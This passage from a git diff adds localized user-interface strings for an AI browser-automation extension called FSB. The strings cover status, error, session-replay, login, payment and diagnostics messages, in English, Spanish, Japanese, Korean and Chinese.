"message": "$NAME$ API connection failed. Please check your settings.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "Status: $STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "Details: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "Error details: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "Working" + }, + "shell_error_status": { + "message": "Error" } } diff --git a/extension/_locales/es/messages.json b/extension/_locales/es/messages.json index a48b93804..7624773ca 100644 --- a/extension/_locales/es/messages.json +++ b/extension/_locales/es/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "Iniciar un chat nuevo" + }, + "shell_welcome": { + "message": "Bienvenido a FSB. ¿Cómo puedo ayudarte?" + }, + "shell_no_automation": { + "message": "No hay una automatización activa que detener." + }, + "shell_stopped": { + "message": "Automatización detenida. Avísame si necesitas ayuda con algo más." + }, + "shell_partial": { + "message": "Resultado parcial" + }, + "shell_try_again": { + "message": "¿Quieres intentarlo de nuevo? " + }, + "shell_retry": { + "message": "Reintentar" + }, + "shell_switched_popup": { + "message": "Cambiado al modo de ventana emergente. La extensión se cerrará al hacer clic fuera." + }, + "shell_persistent": { + "message": "Ejecutándose en una ventana persistente." + }, + "shell_try_again_help": { + "message": "Avísame si quieres intentarlo de nuevo o necesitas ayuda con algo más." + }, + "shell_locked_tab": { + "message": "Desactivado mientras la automatización trabaja en esta pestaña" + }, + "shell_doctor_copied": { + "message": "Comando de diagnóstico copiado" + }, + "shell_pair_copied": { + "message": "Comando de restablecimiento de emparejamiento copiado" + }, + "shell_install_copied": { + "message": "Comando de instalación del asistente nativo copiado" + }, + "shell_site_map_ready": { + "message": "El mapa del sitio está listo. ¿Reintentar la tarea? " + }, + "shell_retry_sitemap": { + "message": "Reintentar con el mapa del sitio" + }, + "shell_locked_ext": { + "message": "La extensión está bloqueada. Desbloquéala primero abriendo la ventana emergente." + }, + "shell_already_done": { + "message": "Ya se completó" + }, + "shell_session_ended": { + "message": "La sesión terminó de forma inesperada. Listo para la siguiente tarea." + }, + "shell_no_map": { + "message": "Este sitio todavía no tiene un mapa. El reconocimiento puede ayudar a FSB a aprender la estructura del sitio para un mejor rendimiento." + }, + "shell_run_recon": { + "message": "Ejecutar reconocimiento" + }, + "shell_stuck": { + "message": "La automatización se quedó repitiendo las mismas acciones. Estos son algunos consejos:" + }, + "shell_tip_specific": { + "message": "Intenta ser más específico sobre lo que quieres lograr" + }, + "shell_tip_captcha": { + "message": "Comprueba si la página requiere pasos manuales, como resolver un CAPTCHA" + }, + "shell_tip_loaded": { + "message": "Asegúrate de que la página haya cargado por completo antes de empezar" + }, + "shell_no_worries": { + "message": "No te preocupes. El panel lateral sigue aquí. Inténtalo de nuevo o pide ayuda con otra cosa." + }, + "shell_password": { + "message": "Contraseña" + }, + "shell_signing_in": { + "message": "Iniciando sesión..." + }, + "shell_login_skipped": { + "message": "Inicio de sesión omitido. Continuando la automatización..." + }, + "shell_payment_selected": { + "message": "Se seleccionó un método de pago guardado. FSB rellenará los datos de la tarjeta, pero no enviará el pago final por ti." + }, + "shell_payment_skipped": { + "message": "Se omitió el método de pago guardado. Revisa el formulario de pago antes de cualquier paso final de pago." + }, + "shell_replay_preview": { + "message": "Vista previa de repetición verificada" + }, + "shell_fresh_tab_fallback": { + "message": "Pestaña nueva del sitio grabado" + }, + "shell_approve_replay": { + "message": "Aprobar repetición" + }, + "shell_cancel": { + "message": "Cancelar" + }, + "shell_replay_busy": { + "message": "No se puede repetir mientras otra automatización está en curso. Detén la tarea actual primero." + }, + "shell_replay_cancelled_request": { + "message": "Solicitud de repetición cancelada. No se abrió ninguna pestaña de destino." + }, + "shell_replay_inspect_only": { + "message": "Esta grabación está verificada para inspección, pero no tiene pasos ejecutables." + }, + "shell_replay_cancelled": { + "message": "Repetición cancelada. La grabación original no cambió." + }, + "shell_session_missing": { + "message": "No se encontraron los datos de la sesión." + }, + "shell_no_actions": { + "message": "No se grabó ninguna acción en esta sesión." + }, + "shell_history_failed": { + "message": "No se pudieron cargar las sesiones." + }, + "shell_replay_session": { + "message": "Repetir sesión" + }, + "shell_delete_session": { + "message": "Eliminar sesión" + }, + "shell_autopilot": { + "message": "Piloto automático" + }, + "shell_checking_local": { + "message": "Comprobando el servicio de agente local" + }, + "shell_checking_local_sent": { + "message": "Comprobando el servicio de agente local. Tu mensaje no se ha enviado." + }, + "shell_wake_body": { + "message": "FSB está intentando dejar disponible el servicio de agente local. Tu mensaje no se ha enviado." + }, + "shell_checking_agent": { + "message": "Comprobando el servicio de agente" + }, + "shell_agent_offline": { + "message": "Agente sin conexión" + }, + "shell_offline_body": { + "message": "FSB no puede alcanzar el servicio de agente local. Ejecuta el comando de diagnóstico y vuelve a intentar este mensaje." + }, + "shell_copy_doctor": { + "message": "Copiar comando de diagnóstico" + }, + "shell_open_provider": { + "message": "Abrir configuración del proveedor" + }, + "shell_needs_helper": { + "message": "La conexión automática necesita el asistente nativo" + }, + "shell_install_body": { + "message": "Instala o actualiza el asistente nativo de FSB y vuelve a intentar este mensaje. FSB conectará este navegador automáticamente." + }, + "shell_copy_install": { + "message": "Copiar comando de instalación" + }, + "shell_back_to_message": { + "message": "Volver al mensaje" + }, + "shell_checking_provider": { + "message": "Comprobando el proveedor" + }, + "shell_checking_provider_body": { + "message": "FSB está comprobando tu proveedor de AI antes de enviar tu mensaje." + }, + "shell_starting_agent": { + "message": "Iniciando el agente" + }, + "shell_starting_agent_body": { + "message": "FSB está entregando tu mensaje al agente." + }, + "shell_owned_by": { + "message": "En uso por $LABEL$", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "Desactivado mientras la pestaña está en uso por $LABEL$", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "Encontré un error: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "Algo salió mal: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "Error al comunicar con el script en segundo plano: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "Error al detener la automatización: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "Iniciando la automatización..." + }, + "shell_continuing": { + "message": "Continuando..." + }, + "shell_connecting": { + "message": "Conectando con la página..." + }, + "shell_connected_analyzing": { + "message": "Conectado. Analizando la página..." + }, + "shell_analyzing": { + "message": "Analizando la página..." + }, + "shell_starting_plain": { + "message": "Iniciando la automatización" + }, + "shell_testing_api": { + "message": "Probando la conexión de API de $NAME$...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "La conexión de API de $NAME$ funciona.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "Conectado al modelo: $MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "La conexión de API de $NAME$ falló. Revisa la configuración.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "Estado: $STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "Detalles: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "Detalles del error: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "Trabajando" + }, + "shell_error_status": { + "message": "Fallo" } } diff --git a/extension/_locales/ja/messages.json b/extension/_locales/ja/messages.json index 03e33beb6..dac8fc720 100644 --- a/extension/_locales/ja/messages.json +++ b/extension/_locales/ja/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "新しいチャットを開始" + }, + "shell_welcome": { + "message": "FSB へようこそ。何をお手伝いしましょうか?" + }, + "shell_no_automation": { + "message": "停止できる実行中の自動化はありません。" + }, + "shell_stopped": { + "message": "自動化を停止しました。ほかに手伝えることがあれば知らせてください。" + }, + "shell_partial": { + "message": "部分的な結果" + }, + "shell_try_again": { + "message": "もう一度試しますか? " + }, + "shell_retry": { + "message": "再試行" + }, + "shell_switched_popup": { + "message": "ポップアップモードに切り替えました。外側をクリックすると拡張機能は閉じます。" + }, + "shell_persistent": { + "message": "常駐ウィンドウで実行中です。" + }, + "shell_try_again_help": { + "message": "もう一度試すか、ほかのことで助けが必要なら知らせてください。" + }, + "shell_locked_tab": { + "message": "このタブで自動化が動作している間は無効です" + }, + "shell_doctor_copied": { + "message": "診断コマンドをコピーしました" + }, + "shell_pair_copied": { + "message": "ペアリング解除コマンドをコピーしました" + }, + "shell_install_copied": { + "message": "ネイティブヘルパーのインストールコマンドをコピーしました" + }, + "shell_site_map_ready": { + "message": "サイトマップの準備ができました。タスクを再試行しますか? " + }, + "shell_retry_sitemap": { + "message": "サイトマップで再試行" + }, + "shell_locked_ext": { + "message": "拡張機能はロックされています。先にポップアップを開いてロックを解除してください。" + }, + "shell_already_done": { + "message": "すでに完了しています" + }, + "shell_session_ended": { + "message": "セッションが予期せず終了しました。次のタスクの準備ができています。" + }, + "shell_no_map": { + "message": "このサイトにはまだ地図がありません。偵察すると、FSB がサイト構造を学習して性能を高められます。" + }, + "shell_run_recon": { + "message": "偵察を実行" + }, + "shell_stuck": { + "message": "自動化が同じ操作を繰り返して止まっています。ヒントです:" + }, + "shell_tip_specific": { + "message": "達成したいことをより具体的にしてください" + }, + "shell_tip_captcha": { + "message": "CAPTCHA の解決など、ページに手動の手順が必要か確認してください" + }, + "shell_tip_loaded": { + "message": "開始する前に、ページが完全に読み込まれていることを確認してください" + }, + "shell_no_worries": { + "message": "大丈夫です。サイドパネルはそのままです。もう一度試すか、別のことを頼んでください。" + }, + "shell_password": { + "message": "パスワード" + }, + "shell_signing_in": { + "message": "サインインしています..." + }, + "shell_login_skipped": { + "message": "ログインをスキップしました。自動化を続けます..." + }, + "shell_payment_selected": { + "message": "保存済みの支払い方法を選択しました。FSB はカード情報を入力しますが、最終的な支払いは送信しません。" + }, + "shell_payment_skipped": { + "message": "保存済みの支払い方法をスキップしました。最終的な支払いの前に、チェックアウトフォームを確認してください。" + }, + "shell_replay_preview": { + "message": "検証済みの再生プレビュー" + }, + "shell_fresh_tab_fallback": { + "message": "記録されたサイトの新しいタブ" + }, + "shell_approve_replay": { + "message": "再生を承認" + }, + "shell_cancel": { + "message": "キャンセル" + }, + "shell_replay_busy": { + "message": "別の自動化が実行中は再生できません。先に現在のタスクを停止してください。" + }, + "shell_replay_cancelled_request": { + "message": "再生リクエストを取り消しました。対象のタブは開いていません。" + }, + "shell_replay_inspect_only": { + "message": "この記録は検査用に検証されていますが、実行できる手順はありません。" + }, + "shell_replay_cancelled": { + "message": "再生を取り消しました。元の記録は変更されていません。" + }, + "shell_session_missing": { + "message": "セッションデータが見つかりません。" + }, + "shell_no_actions": { + "message": "このセッションには記録された操作がありません。" + }, + "shell_history_failed": { + "message": "セッションを読み込めませんでした。" + }, + "shell_replay_session": { + "message": "セッションを再生" + }, + "shell_delete_session": { + "message": "セッションを削除" + }, + "shell_autopilot": { + "message": "オートパイロット" + }, + "shell_checking_local": { + "message": "ローカルエージェントサービスを確認しています" + }, + "shell_checking_local_sent": { + "message": "ローカルエージェントサービスを確認しています。メッセージはまだ送信されていません。" + }, + "shell_wake_body": { + "message": "FSB はローカルエージェントサービスを使えるようにしています。メッセージはまだ送信されていません。" + }, + "shell_checking_agent": { + "message": "エージェントサービスを確認しています" + }, + "shell_agent_offline": { + "message": "エージェントはオフラインです" + }, + "shell_offline_body": { + "message": "FSB はローカルエージェントサービスに接続できません。診断コマンドを実行してから、このメッセージをもう一度試してください。" + }, + "shell_copy_doctor": { + "message": "診断コマンドをコピー" + }, + "shell_open_provider": { + "message": "プロバイダー設定を開く" + }, + "shell_needs_helper": { + "message": "自動接続にはネイティブヘルパーが必要です" + }, + "shell_install_body": { + "message": "FSB のネイティブヘルパーをインストールまたは更新してから、このメッセージをもう一度試してください。FSB がこのブラウザを自動的に接続します。" + }, + "shell_copy_install": { + "message": "インストールコマンドをコピー" + }, + "shell_back_to_message": { + "message": "メッセージに戻る" + }, + "shell_checking_provider": { + "message": "プロバイダーを確認しています" + }, + "shell_checking_provider_body": { + "message": "FSB はメッセージを送る前に、AI プロバイダーを確認しています。" + }, + "shell_starting_agent": { + "message": "エージェントを開始しています" + }, + "shell_starting_agent_body": { + "message": "FSB がメッセージをエージェントに渡しています。" + }, + "shell_owned_by": { + "message": "$LABEL$ が使用中", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "$LABEL$ がこのタブを使用している間は無効です", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "エラーが発生しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "問題が発生しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "バックグラウンドスクリプトとの通信エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "自動化の停止中にエラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "自動化を開始しています..." + }, + "shell_continuing": { + "message": "続行しています..." + }, + "shell_connecting": { + "message": "ページに接続しています..." + }, + "shell_connected_analyzing": { + "message": "接続しました。ページを分析しています..." + }, + "shell_analyzing": { + "message": "ページを分析しています..." + }, + "shell_starting_plain": { + "message": "自動化を開始しています" + }, + "shell_testing_api": { + "message": "$NAME$ の API 接続をテストしています...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "$NAME$ の API 接続は正常です。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "モデルに接続しました: $MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "$NAME$ の API 接続に失敗しました。設定を確認してください。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "状態: $STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "詳細: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "エラーの詳細: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "作業中" + }, + "shell_error_status": { + "message": "エラー" } } diff --git a/extension/_locales/ko/messages.json b/extension/_locales/ko/messages.json index 9edee5aab..d673eab99 100644 --- a/extension/_locales/ko/messages.json +++ b/extension/_locales/ko/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "새 채팅 시작" + }, + "shell_welcome": { + "message": "FSB에 오신 것을 환영합니다. 무엇을 도와드릴까요?" + }, + "shell_no_automation": { + "message": "중지할 실행 중인 자동화가 없습니다." + }, + "shell_stopped": { + "message": "자동화를 중지했습니다. 다른 도움이 필요하면 알려 주세요." + }, + "shell_partial": { + "message": "부분 결과" + }, + "shell_try_again": { + "message": "다시 시도할까요? " + }, + "shell_retry": { + "message": "다시 시도" + }, + "shell_switched_popup": { + "message": "팝업 모드로 전환했습니다. 바깥쪽을 클릭하면 확장 프로그램이 닫힙니다." + }, + "shell_persistent": { + "message": "고정 창에서 실행 중입니다." + }, + "shell_try_again_help": { + "message": "다시 시도하거나 다른 도움이 필요하면 알려 주세요." + }, + "shell_locked_tab": { + "message": "이 탭에서 자동화가 작동하는 동안 비활성화됨" + }, + "shell_doctor_copied": { + "message": "진단 명령을 복사했습니다" + }, + "shell_pair_copied": { + "message": "페어링 재설정 명령을 복사했습니다" + }, + "shell_install_copied": { + "message": "네이티브 도우미 설치 명령을 복사했습니다" + }, + "shell_site_map_ready": { + "message": "사이트 맵이 준비되었습니다. 작업을 다시 시도할까요? " + }, + "shell_retry_sitemap": { + "message": "사이트 맵으로 다시 시도" + }, + "shell_locked_ext": { + "message": "확장 프로그램이 잠겨 있습니다. 먼저 팝업을 열어 잠금을 해제하세요." + }, + "shell_already_done": { + "message": "이미 완료됨" + }, + "shell_session_ended": { + "message": "세션이 예기치 않게 종료되었습니다. 다음 작업을 진행할 수 있습니다." + }, + "shell_no_map": { + "message": "이 사이트에는 아직 지도가 없습니다. 정찰을 하면 FSB가 사이트 구조를 학습해 성능을 높일 수 있습니다." + }, + "shell_run_recon": { + "message": "정찰 실행" + }, + "shell_stuck": { + "message": "자동화가 같은 동작을 반복하다 멈췄습니다. 몇 가지 팁입니다:" + }, + "shell_tip_specific": { + "message": "이루고 싶은 일을 더 구체적으로 적어 보세요" + }, + "shell_tip_captcha": { + "message": "CAPTCHA 풀기처럼 페이지에 수동 단계가 필요한지 확인하세요" + }, + "shell_tip_loaded": { + "message": "시작하기 전에 페이지가 완전히 로드되었는지 확인하세요" + }, + "shell_no_worries": { + "message": "걱정하지 마세요. 사이드 패널은 그대로입니다. 다시 시도하거나 다른 도움을 요청하세요." + }, + "shell_password": { + "message": "비밀번호" + }, + "shell_signing_in": { + "message": "로그인하는 중..." + }, + "shell_login_skipped": { + "message": "로그인을 건너뛰었습니다. 자동화를 계속합니다..." + }, + "shell_payment_selected": { + "message": "저장된 결제 수단을 선택했습니다. FSB가 카드 정보를 채우지만, 최종 결제는 제출하지 않습니다." + }, + "shell_payment_skipped": { + "message": "저장된 결제 수단을 건너뛰었습니다. 최종 결제 전에 결제 양식을 확인하세요." + }, + "shell_replay_preview": { + "message": "검증된 재생 미리보기" + }, + "shell_fresh_tab_fallback": { + "message": "녹화된 사이트의 새 탭" + }, + "shell_approve_replay": { + "message": "재생 승인" + }, + "shell_cancel": { + "message": "취소" + }, + "shell_replay_busy": { + "message": "다른 자동화가 실행 중일 때는 재생할 수 없습니다. 먼저 현재 작업을 중지하세요." + }, + "shell_replay_cancelled_request": { + "message": "재생 요청을 취소했습니다. 대상 탭은 열리지 않았습니다." + }, + "shell_replay_inspect_only": { + "message": "이 녹화는 검사용으로 검증되었지만 실행할 수 있는 단계가 없습니다." + }, + "shell_replay_cancelled": { + "message": "재생을 취소했습니다. 원래 녹화는 변경되지 않았습니다." + }, + "shell_session_missing": { + "message": "세션 데이터를 찾을 수 없습니다." + }, + "shell_no_actions": { + "message": "이 세션에는 기록된 동작이 없습니다." + }, + "shell_history_failed": { + "message": "세션을 불러오지 못했습니다." + }, + "shell_replay_session": { + "message": "세션 재생" + }, + "shell_delete_session": { + "message": "세션 삭제" + }, + "shell_autopilot": { + "message": "오토파일럿" + }, + "shell_checking_local": { + "message": "로컬 에이전트 서비스를 확인하는 중" + }, + "shell_checking_local_sent": { + "message": "로컬 에이전트 서비스를 확인하는 중입니다. 메시지는 아직 전송되지 않았습니다." + }, + "shell_wake_body": { + "message": "FSB가 로컬 에이전트 서비스를 사용할 수 있게 하는 중입니다. 메시지는 아직 전송되지 않았습니다." + }, + "shell_checking_agent": { + "message": "에이전트 서비스를 확인하는 중" + }, + "shell_agent_offline": { + "message": "에이전트 오프라인" + }, + "shell_offline_body": { + "message": "FSB가 로컬 에이전트 서비스에 연결할 수 없습니다. 진단 명령을 실행한 뒤 이 메시지를 다시 시도하세요." + }, + "shell_copy_doctor": { + "message": "진단 명령 복사" + }, + "shell_open_provider": { + "message": "공급자 설정 열기" + }, + "shell_needs_helper": { + "message": "자동 연결에는 네이티브 도우미가 필요합니다" + }, + "shell_install_body": { + "message": "FSB 네이티브 도우미를 설치하거나 업데이트한 뒤 이 메시지를 다시 시도하세요. FSB가 이 브라우저를 자동으로 연결합니다." + }, + "shell_copy_install": { + "message": "설치 명령 복사" + }, + "shell_back_to_message": { + "message": "메시지로 돌아가기" + }, + "shell_checking_provider": { + "message": "공급자를 확인하는 중" + }, + "shell_checking_provider_body": { + "message": "FSB가 메시지를 보내기 전에 AI 공급자를 확인하고 있습니다." + }, + "shell_starting_agent": { + "message": "에이전트를 시작하는 중" + }, + "shell_starting_agent_body": { + "message": "FSB가 메시지를 에이전트에게 전달하는 중입니다." + }, + "shell_owned_by": { + "message": "$LABEL$ 사용 중", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "$LABEL$이(가) 이 탭을 사용하는 동안 비활성화됨", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "오류가 발생했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "문제가 발생했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "백그라운드 스크립트와 통신하는 중 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "자동화를 중지하는 중 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "자동화를 시작하는 중..." + }, + "shell_continuing": { + "message": "계속하는 중..." + }, + "shell_connecting": { + "message": "페이지에 연결하는 중..." + }, + "shell_connected_analyzing": { + "message": "연결됨. 페이지를 분석하는 중..." + }, + "shell_analyzing": { + "message": "페이지를 분석하는 중..." + }, + "shell_starting_plain": { + "message": "자동화 시작" + }, + "shell_testing_api": { + "message": "$NAME$ API 연결을 테스트하는 중...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "$NAME$ API 연결이 정상입니다.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "모델에 연결됨: $MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "$NAME$ API 연결에 실패했습니다. 설정을 확인하세요.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "상태: $STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "세부 정보: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "오류 세부 정보: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "작업 중" + }, + "shell_error_status": { + "message": "오류" } } diff --git a/extension/_locales/zh_CN/messages.json b/extension/_locales/zh_CN/messages.json index 8b90ce35b..78fcdf626 100644 --- a/extension/_locales/zh_CN/messages.json +++ b/extension/_locales/zh_CN/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "开始新对话" + }, + "shell_welcome": { + "message": "欢迎使用 FSB。需要我做什么?" + }, + "shell_no_automation": { + "message": "没有正在运行的自动化可以停止。" + }, + "shell_stopped": { + "message": "自动化已停止。如果还需要帮助,请告诉我。" + }, + "shell_partial": { + "message": "部分结果" + }, + "shell_try_again": { + "message": "要再试一次吗? " + }, + "shell_retry": { + "message": "重试" + }, + "shell_switched_popup": { + "message": "已切换到弹出式窗口模式。在外部点击后,扩展程序会关闭。" + }, + "shell_persistent": { + "message": "正在固定窗口中运行。" + }, + "shell_try_again_help": { + "message": "如果想再试一次,或需要其他帮助,请告诉我。" + }, + "shell_locked_tab": { + "message": "当自动化正在此标签页工作时已禁用" + }, + "shell_doctor_copied": { + "message": "已复制诊断命令" + }, + "shell_pair_copied": { + "message": "已复制配对重置命令" + }, + "shell_install_copied": { + "message": "已复制原生助手安装命令" + }, + "shell_site_map_ready": { + "message": "站点地图已就绪。要重试该任务吗? " + }, + "shell_retry_sitemap": { + "message": "使用站点地图重试" + }, + "shell_locked_ext": { + "message": "扩展程序已锁定。请先打开弹出式窗口解锁。" + }, + "shell_already_done": { + "message": "已经完成" + }, + "shell_session_ended": { + "message": "会话意外结束。可以开始下一个任务。" + }, + "shell_no_map": { + "message": "此网站还没有地图。侦察可以帮助 FSB 学习网站结构,从而提升表现。" + }, + "shell_run_recon": { + "message": "开始侦察" + }, + "shell_stuck": { + "message": "自动化一直在重复同样的操作。这里有一些提示:" + }, + "shell_tip_specific": { + "message": "请把想完成的事情说得更具体一些" + }, + "shell_tip_captcha": { + "message": "请检查页面是否需要手动步骤,例如完成 CAPTCHA" + }, + "shell_tip_loaded": { + "message": "开始之前,请确认页面已完全加载" + }, + "shell_no_worries": { + "message": "没关系。侧边栏还在。可以再试一次,或让我帮你做别的事。" + }, + "shell_password": { + "message": "密码" + }, + "shell_signing_in": { + "message": "正在登录..." + }, + "shell_login_skipped": { + "message": "已跳过登录。正在继续自动化..." + }, + "shell_payment_selected": { + "message": "已选择保存的付款方式。FSB 会填写卡信息,但不会替你提交最终付款。" + }, + "shell_payment_skipped": { + "message": "已跳过保存的付款方式。在任何最终付款步骤之前,请检查结账表单。" + }, + "shell_replay_preview": { + "message": "已验证的重放预览" + }, + "shell_fresh_tab_fallback": { + "message": "所记录网站的新标签页" + }, + "shell_approve_replay": { + "message": "批准重放" + }, + "shell_cancel": { + "message": "取消" + }, + "shell_replay_busy": { + "message": "另一项自动化正在运行时无法重放。请先停止当前任务。" + }, + "shell_replay_cancelled_request": { + "message": "已取消重放请求。没有打开目标标签页。" + }, + "shell_replay_inspect_only": { + "message": "这段录制已通过检查验证,但没有可执行的步骤。" + }, + "shell_replay_cancelled": { + "message": "已取消重放。原始录制没有更改。" + }, + "shell_session_missing": { + "message": "未找到会话数据。" + }, + "shell_no_actions": { + "message": "此会话没有录制任何操作。" + }, + "shell_history_failed": { + "message": "无法加载会话。" + }, + "shell_replay_session": { + "message": "重放会话" + }, + "shell_delete_session": { + "message": "删除会话" + }, + "shell_autopilot": { + "message": "自动驾驶" + }, + "shell_checking_local": { + "message": "正在检查本地代理服务" + }, + "shell_checking_local_sent": { + "message": "正在检查本地代理服务。你的消息尚未发送。" + }, + "shell_wake_body": { + "message": "FSB 正在尝试让本地代理服务可用。你的消息尚未发送。" + }, + "shell_checking_agent": { + "message": "正在检查代理服务" + }, + "shell_agent_offline": { + "message": "代理离线" + }, + "shell_offline_body": { + "message": "FSB 无法连接本地代理服务。请运行诊断命令,然后重试这条消息。" + }, + "shell_copy_doctor": { + "message": "复制诊断命令" + }, + "shell_open_provider": { + "message": "打开提供方设置" + }, + "shell_needs_helper": { + "message": "自动连接需要原生助手" + }, + "shell_install_body": { + "message": "请安装或更新 FSB 原生助手,然后重试这条消息。FSB 会自动连接此浏览器。" + }, + "shell_copy_install": { + "message": "复制安装命令" + }, + "shell_back_to_message": { + "message": "返回消息" + }, + "shell_checking_provider": { + "message": "正在检查提供方" + }, + "shell_checking_provider_body": { + "message": "FSB 正在发送你的消息之前检查 AI 提供方。" + }, + "shell_starting_agent": { + "message": "正在启动代理" + }, + "shell_starting_agent_body": { + "message": "FSB 正在把你的消息交给代理。" + }, + "shell_owned_by": { + "message": "由 $LABEL$ 占用", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "当 $LABEL$ 正在使用此标签页时已禁用", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "遇到错误:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "出了点问题:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "与后台脚本通信时出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "停止自动化时出错:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "正在启动自动化..." + }, + "shell_continuing": { + "message": "正在继续..." + }, + "shell_connecting": { + "message": "正在连接页面..." + }, + "shell_connected_analyzing": { + "message": "已连接。正在分析页面..." + }, + "shell_analyzing": { + "message": "正在分析页面..." + }, + "shell_starting_plain": { + "message": "正在启动自动化" + }, + "shell_testing_api": { + "message": "正在测试 $NAME$ 的 API 连接...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "$NAME$ 的 API 连接正常。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "已连接到模型:$MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "$NAME$ 的 API 连接失败。请检查设置。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "状态:$STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "详情:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "错误详情:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "工作中" + }, + "shell_error_status": { + "message": "错误" } } diff --git a/extension/_locales/zh_TW/messages.json b/extension/_locales/zh_TW/messages.json index bfd0a1755..ffe7bc1b6 100644 --- a/extension/_locales/zh_TW/messages.json +++ b/extension/_locales/zh_TW/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "開始新對話" + }, + "shell_welcome": { + "message": "歡迎使用 FSB。需要我做什麼?" + }, + "shell_no_automation": { + "message": "沒有正在執行的自動化可以停止。" + }, + "shell_stopped": { + "message": "自動化已停止。如果還需要協助,請告訴我。" + }, + "shell_partial": { + "message": "部分結果" + }, + "shell_try_again": { + "message": "要再試一次嗎? " + }, + "shell_retry": { + "message": "重試" + }, + "shell_switched_popup": { + "message": "已切換到彈出式視窗模式。在外部點擊後,擴充功能會關閉。" + }, + "shell_persistent": { + "message": 